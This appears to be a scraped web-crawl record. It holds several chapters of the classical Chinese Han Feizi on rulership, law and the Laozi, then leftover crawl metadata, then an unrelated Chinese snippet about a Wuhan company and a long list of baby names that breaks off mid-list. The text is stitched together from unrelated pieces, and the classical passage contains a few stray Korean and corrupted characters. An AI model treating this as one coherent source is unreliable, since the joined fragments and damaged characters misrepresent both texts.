其母惡者其子釋。丈夫年五十而好色未解也, 婦人年三十而美色衰矣。以衰美之婦人事好色之丈夫, 則身死見疏賤, 而子疑不爲後, 此后妃, 夫人之所以冀共君之死者也。唯母爲後而子爲主, 則令無不行, 禁無不止, 男女之樂不減於先君, 而擅萬乘不疑, 此鴆毒扼昧之所以用也。故《桃左春秋》曰 人主之疾死者不能處半。 , 人主弗知, 則亂多資。故曰 利君死者衆, 則人主危。故王良愛馬, 越王勾踐愛人, 爲戰與馳。醫善吮人之傷, 含人之血, 非骨肉之親也, 利所加也。故輿人成輿, 則欲人之富貴 匠人成棺, 則欲人之夭死也。非輿人仁而匠人賊也, 人不貴, 則輿不售 人不死, 則棺不買。情非憎人也, 利在人之死也, 故后妃·夫人太子之黨成而欲君之死也, 君不死, 則勢不重。情非憎君也, 利在君之死也。故人主不可以不加心於利己死者。故日月暈圍於外, 其賊在內, 備其所憎, 禍在所愛。是故明王不擧不參之事, 不食非常之食 遠聽而近視以審內外之失, 省同異之言以知朋黨之分, 偶參伍之驗, 以責陳言之實 執後以應前, 按法以治衆, 衆端以參觀 士無幸賞, 無踰行 殺必當, 罪不赦 則姦邪無所容其私矣。\n徭役多則民苦, 民苦則權勢起, 權勢起則復除重, 復除重則貴人富。苦民以富貴人, 起勢以藉人臣, 非天下長利也。故曰 徭役少則民安, 民安則下無重權, 下無重權則權勢滅, 權勢滅則德在上矣。今夫水之勝火亦明矣, 然而釜격鬵間之, 水煎沸竭盡其上, 而火得熾盛焚其下, 水失其所以勝者矣。今夫治之禁姦又明於此, 然守法之臣爲釜鬵之行, 則法獨明於胸中, 而已失其所以禁姦者矣。上古之傳言, 《春秋》所記, 犯法爲逆以成大姦者, 未嘗不從尊貴之臣也。而法令之所以備, 刑罰之所以誅, 常於卑賤, 是以其民絶望, 無所告愬。大臣比周, 蔽上爲一, 陰相善而陽相惡, 以示無私, 相爲耳目, 以候主隙, 人主掩蔽, 無道得聞, 有主名而無實, 臣專法而行之, 周天子是也。偏借其權勢, 則上下易位矣, 此言人臣之不可借權勢。\n南面第十八\n人主之過, 在己任在臣矣, 又必反與其所不任者備之, 此其說必與其所任者爲讐, 而主反制於其所不任者。今所與備人者, 且曩之所備也。人主不能明法而以制大臣之威, 無道得小人之信矣。人主釋法而以臣備臣, 則相愛者比周而相譽, 相憎者朋黨而相非。非譽交爭, 則主惑亂矣。人臣者, 非名譽請謁無以進取, 非背法專制無以爲威, 非假於忠信無以不禁, 三者, 惽主壞法之資也。人主使人臣雖有智能, 不得背法而專制 雖有賢行, 不得踰功而先勞, 雖有忠信, 不得釋法而不禁 此之謂明法。\n人主有誘於事者, 有壅於言者, 二者不可不察也。人臣易言事者, 少索資, 以事誣主。主誘而不察, 因而多之, 則是臣反以事制主也。如是者謂之誘。誘於事字, 困於患, 其進言少, 其退費多。雖有功, 其進言不信, 不信者有罪。事有功者必賞, 則群臣莫敢飾言以惽主。主道者, 使人臣前言不復於後, 後言不復於前, 事雖有功, 必伏其罪, 謂之任下。\n人臣爲主設事而恐其非也, 則先出說設言曰 議是事者, 妬事者也。 人主藏是言, 不更聽群臣 群臣畏是言, 不敢議事。二勢者用, 則忠臣不聽, 而譽臣獨任。如是者謂之壅於言, 壅於言者制於臣矣。主道者, 使人臣有必言之責, 又有不言之責。言無端末辯無所驗者, 此言之責也 以不言避責持重位者, 此不言之責也。人主使人臣言者必知其端以責其實, 不言者必問其取舍以爲之責。則人臣莫敢妄言矣, 又不敢黙然矣, 言·黙則皆有責也。\n人主欲爲事, 不通其端末, 而以明其欲, 有爲之者, 其爲不得利, 必以害反。知此者, 任理去欲。擧事有道, 計其入多, 其出少者, 可爲也。惑主不然, 計其入, 不計其出, 出雖倍其入, 不知其害, 則是名得而實亡。如是者功小而害大矣。凡功者, 其入多, 其出少, 乃可謂功。今大費無罪而少得爲功, 則人臣出大費而成小功, 小功成而主亦有害。\n不知治者, 必曰 無變古, 毋易常。 變與不變, 聖人不聽, 正治而已。然則古之無變, 常之毋易, 在常古之可與不可。伊尹毋變殷, 太公毋變周, 則湯·武不王矣。管仲毋易齊, 郭偃毋更晉, 則桓·文不霸矣。凡人難變古者, 憚易民之安也。夫不變古者, 襲亂之迹 適民心者, 恣姦之行也。民愚而不知亂, 上懦而不能更, 是治之失也。人主者, 明能知治, 嚴必行之, 故雖拂於民心, 立其治。說在商君之內外而鐵殳, 重盾而豫戒也。故郭偃之始治也, 文公有官卒 管仲始治也, 桓公有武車 戒民之備也。是以愚贛窳墯之民, 苦小費而忘大利也, 故夤虎受阿謗。而*진小變而失長便, 故鄒賈非載旅。狎習於亂而容於治, 故鄭人不能歸。\n飾邪第十九\n鑿龜數筴, 兆曰 大吉 , 而以攻燕者, 趙也。鑿龜數筴, 兆曰 大吉 , 而以攻趙者, 燕也。劇辛之事燕, 無功而社稷危 鄒衍之事燕, 無功而國道絶。趙代先得意於趙, 後得意於齊, 國亂節高, 自以爲與秦提衡, 非趙龜神而燕龜欺也。趙又嘗鑿龜數筴而北伐燕, 將劫燕以逆秦, 兆曰 大吉 。始攻大梁而秦出上黨矣, 兵至釐而六城拔矣 至陽城, 秦拔鄴矣 龐援揄兵而南, 則鄣盡矣。臣故曰 趙龜雖無遠見於燕, 且宜近見於秦。秦以其 大吉 , 辟地有實, 救燕有有名。趙以其 大吉 , 地削兵辱, 主不得意而死。又非秦龜神而趙龜欺也。初時者, 魏數年東鄕攻盡陶·衛, 數年西鄕以失其國, 此非豐隆·五行·太一·王相·攝提·六神·五括·天河·殷搶·歲星, 非數年在西也, 又非天缺·弧逆·刑星·熒惑·奎台, 非數年吊也。故曰 龜筴鬼神不足擧勝, 左右背鄕不足以專戰。然而恃之, 愚莫大焉。\n古者先王盡力於親民, 加事於明法。彼法明, 則忠臣勸 罰必, 則邪臣止。忠勸邪止而地廣主尊者, 秦是也 群臣朋黨比周, 以隱正道, 行私曲而地削主卑者, 山東是也。亂弱者亡, 人之性也 治强者王, 古之道也。越王勾踐恃大朋之龜, 與吳戰而不勝, 身臣入宦於吳 反國棄龜, 明法親民以報吳, 則夫差爲擒。故恃鬼神者慢於法, 恃諸侯者危其國。曹恃齊而不聽宋, 齊攻荊而宋滅曹。荊恃吳而不聽齊, 越伐吳而齊滅荊。許恃荊而不聽魏, 荊攻宋而魏滅許。鄭恃魏而不聽韓, 魏攻荊而韓滅鄭。今者韓國小而恃大國, 主慢而聽秦·魏, 恃齊·荊爲用, 而小國愈亡。故恃人不足以廣壤, 而韓不見也。荊爲攻魏而加兵許·鄢, 齊攻任·扈而削魏, 不足以存鄭, 而韓弗知也。此皆不明其法禁以治其國, 恃外以滅其社稷者也。\n臣故曰 明於治之數, 則國雖小, 富 賞罰敬信, 民雖寡, 强。賞罰無度, 國雖大, 兵弱者, 地非其地, 民非其民也。無地無民, 堯·舜不能以王, 三代不能以强。人主又以過予, 人臣又以徒取。舍法律而言先王, 以明君之功者, 上任之以國。臣故曰 是願古之功, 以古之賞, 賞今之人也。主以是過予, 而臣以此徒取矣。主過予, 則臣偸幸 臣徒取, 則功不尊。無功者受賞, 則財匱而民望 財匱而民望, 則民不盡力矣。故用賞過者失民, 用刑過者民不畏。有賞不足以勸, 有刑不足以禁, 則國雖大, 必危。\n故曰 小知不可使謀事, 小忠不可使主法。荊恭王與晉厲公戰鄢陵, 荊師敗, 恭王傷。酣戰, 而司馬子反渴而求飮, 其友豎穀陽奉巵酒而進之。子反曰 去之, 此酒也。 豎穀陽曰 非也。 子反受而飮之。子反爲人嗜酒, 甘之, 不能絶之於口, 醉而臥。恭王欲復戰而謀事, 使人召子反, 子反辭以心疾。恭王駕而往視之, 入幄中, 聞酒臭而還, 曰 今日之戰, 寡人目親傷。所恃者司馬, 司馬又如此, 是亡荊國之社稷而不恤吾衆也。寡人無與復戰矣。 罷師而去之, 斬子反以爲大戮。故曰 豎穀陽之進酒也, 非以端惡子反也, 實心以忠愛之, 而適足以殺之而已矣。此行小忠而賊大忠者也。故曰 小忠, 大忠之賊也。若使小忠主法, 則必將赦罪, 以相愛, 是與下安矣, 然而妨害於治民者也。\n當魏之方明《立辟》·從憲令行之時, 有功者必賞, 有罪者必誅, 强匡天下, 威行四鄰 及法慢, 妄予, 而國日削矣。當趙之方明《國律》·從大軍之時, 人衆兵强, 辟地齊·燕 及《國律》慢, 用者弱, 而國日削矣。當燕之方明《奉法》·審官斷之時, 東縣齊國, 南盡中山之地 及《奉法》已亡, 官斷不用, 左右交爭, 論從其下, 則兵弱而地削, 國制於鄰敵矣。故曰 明法者强, 慢法者弱。强弱如是其明矣, 而世主弗爲, 國亡宜矣。語曰 家有常業, 雖飢不餓 國有常法, 雖危不亡。 夫舍常法而從私意, 則臣下飾於智能 臣下飾於智能, 則法禁不立矣。是妄意之道行, 治國之道廢也。治國之道, 去害法者, 則不惑於智能, 不矯於名譽矣。昔者舜使吏決鴻水, 先令有功而舜殺之, 禹朝諸侯之君, 會稽之上, 防風之君, 後至而禹斬之。以此觀之, 先令者殺, 後令者斬, 則古者先貴如令矣。故鏡執淸而無事, 美惡從而比焉 衡執正而無事, 輕重從而載焉。夫搖鏡, 則不得爲明 搖衡, 則不得爲正, 法之謂也。故先王爾爲常, 以法爲本。本治者名尊, 本亂者名絶。凡智能明通, 有以則行, 無以則止。故智能鄲, 不可傳於人。而道法萬全, 智能多失。夫懸衡而知平, 設規而知圓, 萬全之道也。明主使民飾於道之故, 故佚而有功。釋規而任巧, 釋法而任智, 惑亂之道也, 亂主使民飾於智, 不知道之故, 故勞而無功。釋法禁而聽請謁, 群臣賣官於上, 取賞於下, 是以利在私家而威在群臣。故民無盡力事主之心, 而務爲交於上。民好上交, 則貨財上流, 而巧說者用。若是, 則有功者愈少。姦臣愈進而材臣退, 則主惑而不知所行, 民聚而不知所道。此廢法禁·後功勞·擧名譽·聽請謁之失也。凡敗法之人, 必設詐託物以來親, 又好言天下之所希有。此暴君亂主之所以惑也, 人臣賢佐之所以侵也。故人臣稱伊尹·管仲之功, 則背法飾智有資 稱比干·子胥之忠而見殺, 則疾强諫有辭。夫上稱賢明, 下稱暴亂, 不可以取類, 若是者禁。君子立法以爲是也, 今人臣多立其私智, 以法爲非者, 是邪以智, 過法立智。如是者禁, 主之道也。\n禁主之道, 必明於公私之分, 明法制, 去私恩。夫令必行, 禁必止, 人主之公義也 必行其私, 信於朋友, 不可爲賞勸, 不可爲罰沮, 人臣之私義也。私義行則亂, 公義行則治, 故公私有分。人臣有私心, 有公義。修身潔白而行公行正, 居官無私, 人臣之公義也 汙行從欲, 安身利家, 人臣之私心也。明主在上, 則人臣去私心, 行公義 亂主在上, 則人臣去公義行私心。故君臣異心, 君以計畜臣, 臣以計事君, 君臣之交, 計也。害身而利國, 臣弗爲也 害國而利臣, 君不爲也。臣之情, 害身無利 君之情, 害國無親。君臣也者, 以計合者也。至夫臨難必死, 盡智竭力, 爲法爲之。故先王明賞以勸之, 嚴刑以威之。賞刑明, 則民盡死 民盡死, 則兵强主尊。刑賞不察, 則民無功而求得, 有罪而幸免, 則兵弱主卑。故先王賢佐盡力竭智。故曰 公私不可不明, 法禁不可不審, 先王知之矣。\n解老第二十\n德者, 內也。得者, 外也。 上德不德 , 言其神不淫於外也。神不淫於外, 則身全。身全之謂得。得者, 得身也。凡德者, 以無爲集, 以無欲成, 以不思安, 以不用固。爲之欲之, 則德無舍 德無舍, 則不全。用之思之, 則不固 不固, 則無功 無功, 則生有德。德則無德, 不德則有德。故曰 上德不德, 是以有德。\n所以貴無爲無思爲虛者, 謂其意無所制也。夫無術者, 故以無爲無思爲虛也。夫故以無爲無思爲虛者, 其意常不忘虛, 是制於爲虛也。虛者, 謂其意所無制也。今制於爲虛, 是不虛也。虛者之無爲也, 不以無爲爲有常。不以無爲爲有常, 則虛 虛, 則德盛 德盛之謂上德。故曰 上德無爲而無不爲也。\n仁者, 謂其中心欣然愛人也 其喜人之有福, 而惡人之有禍也 生心之所不能已也, 非求其報也。故曰 上仁爲之而無以爲也。\n義者, 君臣上下之事, 父子貴賤之差也, 知交朋友之接也, 親疏內外之分也。臣事君宜, 下懷上宜, 子事父宜, 賤敬貴宜, 知交友朋之相助也宜, 親者內而疏者外宜。義者, 謂其宜也, 宜而爲之。故曰 上義爲之而有以爲也。\n禮者, 所以貌情也,","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/muye24ki.com\/zb41pl8\/zboard.php?id=archive_history&page=2&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=52","date":"2020-08-03T14:43:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735812.88\/warc\/CC-MAIN-20200803140840-20200803170840-00253.warc.gz","language":"lzh","language_score":0.6480909586,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6480909585952759, \"cmn_Hani_score\": 0.23009948432445526, \"jpn_Jpan_score\": 0.1094164252281189}","num_words":3701,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.648,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"武汉市娜希游乐设备有限责任公司怎么样?\n武汉市娜希游乐设备有限责任公司是2017-11-22在湖北省武汉市黄陂区注册成立的有限责任公司(自然...\n那位朋友帮帮忙,帮我孩子取个名吧,谢谢大家了,我姓肖,我老婆想帮孩子取个跟世博有关的名字,谢谢。。\n肖白菜(世博志愿者),呵呵,玩笑而已。请看下面:2010年的世博会在中国上海举办,恰逢中国的虎年,下面列举一些世博宝宝名字大全和虎年宝宝名字大全,以供取名时作为参考。艾冰 艾芳 艾娟 艾思 艾文 艾樨 艾霞 艾笑 艾滢 艾子 爱超 爱芳 爱红 爱娟 爱丽 爱玲 爱梅 爱妹 爱萍 爱青 爱英 爱颖 爱珍 嫒婷 安婧 安可 安澜 安特 安雯 安奕 岸芷 翱倡 翱翔 傲雪 八雪 百娥 百灵 佰骏 佰明 柏昊 柏凯 柏瑶 柏莹 栢翘 坂娟 邦琴 宝成 宝芬 宝花 宝娟 宝琳 宝冉 宝文 宝艳 宝燕 宝英 宝瑛 保丰 保平 贝恩 贝陇 焙萌 蓓蓓 蓓妮 本勇 必恒 必文 毕宏 弼翔 碧佳 碧婷 碧玉 边疆 彬彬 彬杰 彬洁 彬娜 斌洁 斌畦 斌琦 冰冰 冰婵 冰花 冰琳 冰霞 冰妍 冰月 冰姿 丙彬 丙蓉 秉芳 秉玲 秉其 秉融 秉润 炳潮 炳成 炳诚 炳霏 炳汗 炳花 炳漆 炳全 炳潍 炳文 炳霞 炳英 炳璋 炳汁 伯后 伯炼 伯冉 泊霖 泊莹 勃满 勃然 勃瑶 博婧 博文 博翔 博钰 渤翔 搏松 不凡 不豪 部部 采娟 采霞 采悦 彩凤 彩宏 彩娟 彩丽 彩琳 彩茹 彩瑶 彩英 彩莹 彩云 仓平 茶壶 钗初 婵婵 婵君 潺琼 昌娟 昌琳 昌毅 昌银 长安 长春 长东 长芬 长福 长隆 长梅 长庆 长霞 常红 常青 常霞 嫦娟 昶陵 朝红 朝华 朝火 朝阳 朝英 潮漠 潮旺 潮源 潮峥 潮滞 澈丽 尘莹 臣力 忱亦 忱异 忱绎 忱轶 辰乐 辰樨 辰毓 辰韵 陈陈 陈香 晨晨 晨出 晨光 晨红 晨湖 晨雪 琤玉 丞邦 成果 成皓 成基 成俊 成兰 成民 成冉 成莹 成智 呈程 呈莹 呈智 承畅 承达 承恩 承芳 承瑾 承丽 承冉 承艳 承瑶 承莹 诚悦 乘驹 程媛 骋玺 弛悦 虫莹 崇和 崇娟 雏凤 楚汉 楚祥 楚妍 矗磊 矗鑫 传玉 创彬 春波 春赐 春菲 春刚 春寒 春荭 春华 春娟 春君 春雷 春连 春莲 春联 春玲 春铃 春梅 春美 春萍 春青 春霞 春雪 春艳 春瑶 春颖 春雨 春玉 椿林 纯琴 纯文 淳芳 醇悦 从冲 从梅 丛冲 丛春 崔恩 翠娥 翠芬 翠红 翠玲 翠梅 翠萍 翠芹 翠文 翠香 翠玥 存江 存丽 存英 达乐 达亮 达量 大兵 大娥 大芳 大花 大乐 大梁 大亮 大谅 大量 大伦 大圣 大维 大艳 岱澈 岱澜 岱潜 岱润 岱潼 岱锡 岱曦 岱颖 玳瑶 丹茹 丹阳 淡亭 道燕 德宝 德芬 德娟 德伟 德文 德贤 德颖 德玉 登琴 邓美 籴莹 迪英 地维 第一 玎伶 玎秀 定娟 定坤 定霞 定怡 东灿 东芳 东海 东坚 东梅 东宁 东坡 东书 东文 东晓 东艳 东轶 东颖 冬芳 冬浩 冬琼 冬文 冬霞 冬雪 冬妍 冬燕 冬颖 董威 董为 董唯 董炜 董卫 董慰 栋一 笃进 杜芳 端英 婀娜 恩娜 恩琪 恩茹 恩西 恩怡 尔华 二剑 二宽 二玲 二依 发琴 法音 帆婷 凡裴 方芳 方麟 方荣 方胜 方旭 方毅 方尊 芳芳 芳华 芳婧 芳莉 芳丽 芳玲 芳娜 芳琴 仿梅 飞菲 飞鹏 飞旗 飞翔 飞燕 飞玥 妃雪 菲琳 菲洋 菲玥 沸晓 芬芳 芬芬 丰辰 丰萍 风和 风娟 风琳 风翔 凤雏 凤华 凤梅 凤鸣 凤琼 凤霞 凤英 奉霞 奉先 夫玄 拂晓 福安 福芬 福玲 福琴 福文 福祥 付贵 复红 富兰 富翔 富珠 馥好 馥彤 伽盈 改娟 刚芬 刚民 刚平 岗辉 高洁 高兰 高英 高驭 戈丽 格娟 亘宇 功文 关萍 关茹 官函 冠男 冠霆 冠寤 冠迂 冠宇 冠语 冠中 光芳 光玲 光琴 光泉 光冉 光文 光仙 光翔 光学 光英 光梓 罟愠 广东 广护 广杰 广科 广英 广悦 鬼薰 贵红 贵全 贵深 贵翔 贵英 桂芳 桂芬 桂红 桂花 桂洁 桂兰 桂容 桂贤 桂妍 桂艳 桂莹 桂媛 桂珍 郭利 国滨 国灿 国光 国花 国立 国梁 国麟 国梅 国敏 国娜 国培 国萍 国强 国琼 国冉 国伟 国霞 国英 国玉 果骏 海芳 海锋 海凤 海红 海娟 海军 海量 海玲 海娜 海萍 海琴 海蓉 海旺 海啸 海鑫 海瑶 海英 海瑛 海用 海宇 海雨 海珠 含萍 含雪 含玉 函飞 晗帝 晗融 晗瑞 涵芳 涵翔 涵奕 寒冰 寒梅 韩媛 汉福 汉文 汉修 翰林 翰松 翰惟 翰翔 瀚林 杭聪 杭杭 杭岭 杭梦 杭岐 杭碛 杭帅 杭咨 好大 好马 好术 好兔 好翔 昊恩 昊华 昊洁 昊锟 昊轮 昊默 昊埔 昊文 昊炎 昊运 浩瀚 浩华 浩胜 浩文 浩玄 浩仪 浩壮 合颖 何玲 和芳 和玲 和香 河良 河莹 河鸳 鹤矗 鹤妍 恒丽 恒英 恒媛 恒悦 哄艳 红兵 红芳 红芬 红果 红花 红洁 红娟 红军 红莉 红丽 红琳 红美 红萍 红琴 红琼 红蓉 红茹 红希 红袖 红雁 红忆 红玉 红云 宏冰 宏进 宏玲 宏伟 宏文 宏霞 宏颖 宏钰 宏志 泓红 泓琳 泓婷 泓萱 泓瑶 泓英 泓颖 洪恩 洪芬 洪基 洪江 洪娟 洪亮 洪林 洪梅 洪民 洪文 洪霞 洪燕 洪英 洪至 洪挚 洪致 洪智 洪稚 荭忆 虹洁 虹丽 虹霞 虹翔 虹霄 虹欣 虹燕 虹瑶 虹烨 虹莹 鸿梁 鸿枚 鸿伟 鸿雪 鸿燕 鸿羽 鸿园 鸿圆 后锋 厚臣 厚嘉 冱婷 护鑫 花花 华芳 华美 华娜 华萍 华人 华洋 骅芸 怀娟 怀鹏 怀逸 怀憎 槐英 槐玉 欢承 欢丽 奂颖 换英 焕英 黄梅 辉强 辉翔 汇泓 汇垲 汇壮 会娟 会萍 会茹 彗或 彗婷 惠娟 惠玲 惠英 慧芳 慧芬 慧峰 慧平 慧萍 慧熹 慧轩 慧炎 慧怡 慧英 蕙玲 蕙彤 活英 火花 积玲 吉翠 吉东 吉斐 吉红 吉虹 吉惠 吉娇 吉娟 吉琨 吉凌 吉露 吉璐 吉敏 吉楠 吉琪 吉茜 吉琴 吉沁 吉晴 吉秋 吉容 吉珊 吉爽 吉彤 吉薇 吉香 吉翔 吉心 吉迅 吉妍 吉艺 吉音 吉盈 吉月 吉韵 吉甄 集慧 集寅 纪红 纪亮 纪文 季方 季红 济莘 继军 霁婵 霁妍 加强 佳遨 佳芳 佳峰 佳赫 佳桓 佳惠 佳慧 佳佳 佳凯 佳珂 佳莉 佳伦 佳梅 佳妹 佳倪 佳琦 佳琪 佳融 佳芮 佳纾 佳硕 佳彤 佳桐 佳伟 佳雯 佳溪 佳樨 佳兴 佳忆 佳翼 佳英 佳盈 佳真 家宾 家航 家辉 家俊 家凯 家莉 家麟 家留 家萌 家萍 家琼 家文 家贤 家瑶 家颖 家钰 嘉宝 嘉晨 嘉诚 嘉坚 嘉缕 嘉琴 嘉圣 嘉晟 嘉帅 嘉彤 嘉欣 嘉兴 嘉妍 嘉瑶 嘉嬴 镓辉 甲萌 简洁 建飞 建丰 建军 建琨 建莉 建丽 建灵 建妹 建明 建培 建鹏 建频 建平 建苹 建萍 建岐 建琴 建琼 建生 建树 建卫 建运 剑芬 剑文 健红 健华 健玲 健美 健明 健文 渐文 江红 江鸿 江麟 江玲 江萍 江容 江彦 江艳 江燕 江颖 交雪 姣娥 娇玲 骄翔 骄阳 椒妍 焦艳 皎艳 皆颖 杰芬 杰俊 杰文 杰英 洁洁 洁翔 洁怡 洁颖 洁云 捷翔 颉洁 金婵 金娥 金凤 金虎 金环 金金 金丽 金琳 金朦 金萍 金茹 金山 金姗 金涛 金文 金芯 金燕 金洋 金英 金莹 金雨 襟裳 锦福 锦洪 锦萍 锦文 锦英 瑾雯 劲辉 劲均 进红 进杰 进山 进云 进珍 晋杰 晋琼 晋伺 晋余 京昊 京京 京霈 京萍 京咨 泾怡 经翰 晶芳 晶怡 晶玉 兢霞 井霞 井艳 景芳 景琳 景梅 景阳 婧安 婧博 婧池 婧帆 婧菲 婧光 婧杭 婧华 婧嘉 婧玲 婧男 婧宁 婧萩 婧铷 婧睿 婧姝 婧薇 婧雯 婧熙 婧雅 婧亚 婧尧 婧伊 婧漪 婧胤 婧苑 婧媛 婧芸 婧泽 婧竹 敬华 敬萍 敬霞 靓萌 靖婵 靖依 静涵 静洁 静姗 静文 静雯 静霞 静翔 静璇 静依 静怡 玖鸿 桔红 菊芬 菊红 菊花 菊玲 菊梅 菊妹 橘妍 娟丽 娟梅 娟妮 娟妍 娟英 隽玉 爵安 军红 军江 军玲 军树 军学 君婵 君侯 君晓 君妍 君毅 君英 筠怡 俊达 俊芳 俊芬 俊刚 俊钢 俊憬 俊君 俊兰 俊丽 俊梅 俊美 俊燊 俊滔 俊炜 俊文 俊汐 俊曦 俊霞 俊艳 俊吟 俊英 俊瑛 俊玉 骏亚 珺容 珺榕 珺晓 珺莹 珺羽 卡娜 开栋 开乐 开梅 开妍 凯琳 凯婷 凯英 凯悦 看翔 康麟 康蕊 康瑞 康子 康紫 柯玲 柯瑶 珂莉 珂伟 珂毓 科锋 科宏 科励 科贤 可晴 可意 可钰 扣花 扣荣 寇花 蔻花 匡郢 奎军 葵花 魁勇 坤达 坤逯 坤朋 坤婷 坤阳 腊梅 来莹 兰二 兰芳 兰芬 兰娟 兰萍 兰琴 岚馨 岚雅 蓝翔 斓珊 琅晓 乐嘉 乐彤 乐翔 乐妍 乐扬 磊洁 磊磊 莉芳 莉航 莉俐 莉玲 莉曼 莉蔓 莉萨 莉雅 莉怡 骊翔 鹂莹 漓霞 黎娜 黎翔 黧岚 礼妃 力鹏 立丰 立峰 立梅 立娜 立文 立新 丽波 丽芬 丽花 丽莉 丽丽 丽梅 丽倩 丽琼 丽婷 丽婉 丽翔 丽娅 丽怡 丽玉 利方 利红 利利 利平 利萍 利盈 俐娟 俐娜 俪娟 荔娜 砾娜 笠娜 溧霞 连柏 连波 连花 连俊 连连 连梅 莲芳 莲英 莲语 联柏 联骥 联科 联轲 裢啵 链柏 链拨 链播 良辰 良娣 良杰 良玲 良妹 良威 良瑛 良莹 良玉 梁莉 梁丽 梁彤 梁妍 亮文 亮玉 林椿 林果 林洁 林琳 林娜 林茹 林妍 林业 林瑛 淋霞 琳华 琳娟 琳军 琳珂 琳茂 琳雪 琳媛 琳卓 伶萍 伶秀 灵莉 灵玲 灵泉 灵睿 灵云 玲彩 玲耳 玲飞 玲佳 玲娟 玲君 玲琳 玲珑 玲梅 玲霞 玲娴 玲香 玲燕 玲瑶 玲熠 玲荧 玲莹 玲珠 凌楠 凌艳 凌瑶 绫悦 柳萱 柳玉 六娟 六叶 龙文 笼茹 露瑶 露怡 璐冰 璐瑶 璐怡 栾莹 罗生 洛莹 满梅 曼果 曼洁 曼萍 漫莉 漫丽 蔓萍 蔓思 蔓妍 茂华 茂军 茂兰 茂玲 茂文 茂字 懋森 玫霖 玫美 玫雯 玫熙 玫妍 眉洁 梅芳 梅姣 梅琳 梅梅 梅美 梅婷 每文 美晨 美红 美花 美桦 美丽 美琳 美仑 美裴 美婷 美彤 美雯 美娴 美萱 美燕 美瑶 美怡 美英 美颖 美玉 美媛 美玥 美箴 妹嘉 妹妹 妹仔 媚瑶 萌萌 孟达 孟狄 孟昊 孟侃 孟坤 孟玲 孟岷 孟娜 孟萍 孟齐 孟琼 孟忤 孟妍 孟遥 孟瑶 孟颖 孟昀 孟知 梦达 梦梅 梦萍 梦仪 梦媛 米丹 米娜 米爻 密玲 免霞 冕晟 杪霞 妙法 妙韵 岷昙 旻卉 玟芳 玟文 玟颖 珉慧 珉石 敏红 敏娟 敏敏 敏娜 敏翔 敏嫣 名扬 明潮 明飞 明刚 明红 明华 明辉 明娟 明凯 明坤 明朗 明磊 明丽 明亮 明强 明琴 明荣 明珊 明威 明熹 明翔 明燕 明译 明勇 明悦 明珠 鸣翔 茗芳 铭浚 铭亮 铭鸣 铭文 铭轩 墨馨 墨子 默然 牡霞 木材 沐蓉 沐霞 沐妍 牧白 牧炎 慕白 慕蹊 慕莹 暮子 娜波 娜矫 娜洁 娜京 娜娜 娜宁 娜凝 娜睿 娜希 娜新 娜瑶 娜仪 乃东 乃骞 南玉 能文 能翔 妮婷 尼婷 倪婷 年耕 廿卜 念锋 念恒 镊稼 蹑拧 宁莉 宁琴 凝美 凝妍 凝悦 诺怡 帕霞 派莹 盼瑶 庞翔 培红 培华 培洁 培君 培莉 培培 培茹 培铷 培森 培羲 培燕 培英 裴山 沛陶 佩婵 佩茨 佩慈 佩芳 佩红 佩吉 佩娟 佩琳 佩容 佩霞 佩怡 佩英 佩悦 佩真 佩姿 配婵 配淘 芃颖 芃玉 朋丽 彭年 鹏飞 鹏涛 鹏翔 品茹 品瑶 品源 平翔 苹芳 萍丹 萍芳 萍红 萍萍 朴颖 齐翔 圻晓 其达 其岭 其运 其壮 奇康 奇磊 奇芮 歧芳 颀秋 淇娜 琪昂 旗帜 企坤 企培 启熙 启元 起翔 绮芬 芊乐 芊莹 芊妤 芊玉 芊媛 谦文 谦翔 前飞 前进 前英 前舟 荨文 茜霞 茜玉 倩佳 倩丽 倩茹 倩桃 倩文 倩雯 倩盈 倩玉 堑文 强辉 蔷薇 桥顺 巧玲 巧倩 巧蓉 巧霞 巧妍 巧英 巧玉 俏芳 俏洁 俏怡 钦烨 琴韵 沁冰 沁芳 沁苒 沁婷 沁雪 沁瑶 沁怡 青丽 青林 青萍 青坡 青奇 青岍 青芹 青松 青桐 青晓 青轩 青一 青怡 青泽 清波 清梅 清敏 清如 清夏 清翔 清漪 清玥 清悦 晴洁 晴嫣 庆端 庆芳 庆贵 庆红 庆莉 庆文 庆忠 琼芳 琼红 秋丹 秋凤 秋岌 秋菊 秋莲 秋琳 秋玲 秋梅 秋赏 秋石 秋瑭 秋文 秋娴 秋艳 秋阳 秋瑶 秋一 秋怡 秋英 秋岳 求根 全庆 全英 权芳 权桓 泉芳 泉洁 泉鑫 群芳 群霞 群翔 燃辛 燃昕 燃新 冉倩 冉冉 冉泽 让襄 饶红 仁淏 仁杰 韧雪 日翔 日祝 戎夫 荣芳 荣锋 荣富 荣光 荣花 荣梅 荣强 荣伟 荣霞 荣翔 容容 融媛 柔菲 柔含 柔瑾 柔晓 柔莹 如萍 如诗 如雪 如夷 如钰 如月 茹彬 茹纯 茹涵 茹静 茹岚 茹莉 茹钰 儒娟 孺茹 汝萍 汝霞 汝瑶 软宽 蕊琳 芮莹 锐韬 锐怡 锐莹 瑞恒 瑞洁 瑞丽 瑞琦 瑞松 瑞文 瑞莹 瑞泽 睿德 睿峰 睿锋 睿涵 睿捷 睿婷 睿霞 睿瑶 睿瑛 睿岳 润辉 润睿 润婷 润雪 润资 若迟 若鸿 若兰 若楠 若榛 赛梅 三玲 森洁 森懿 山峰 山志 杉峒 姗芳 姗娜 姗姗 姗妍 珊琴 珊瑶 尚洁 尚明 尚鹏 尚澎 尚琴 尚文 尚贤 尚怡 尚英 韶娟 少琼 少艳 少英 少颖 邵梅 绍芳 绍梅 绍文 申申 申易 珅白 生根 生文 生艳 声旺 胜德 胜霞 省心 圣花 圣嘉 圣琳 圣圣 晟粼 盛龙 诗飞 诗涵 诗睛 诗淇 诗祺 诗彤 诗晓 诗秀 诗洋 诗玉 诗悦 诗蕴 施怡 时北 士霞 世芳 世国 世济 世萍 世琼 世伟 世雪 世艳 仕萍 仕星 仕颖 式沁 事昭 释悦 守庆 守文 首畅 首豪 寿峰 书芬 书玲 书梦 书民 书娜 书童 书文 书霞 书秀 书妍 书燕 书忆 书音 书悦 书越 抒玲 抒妍 叔芳 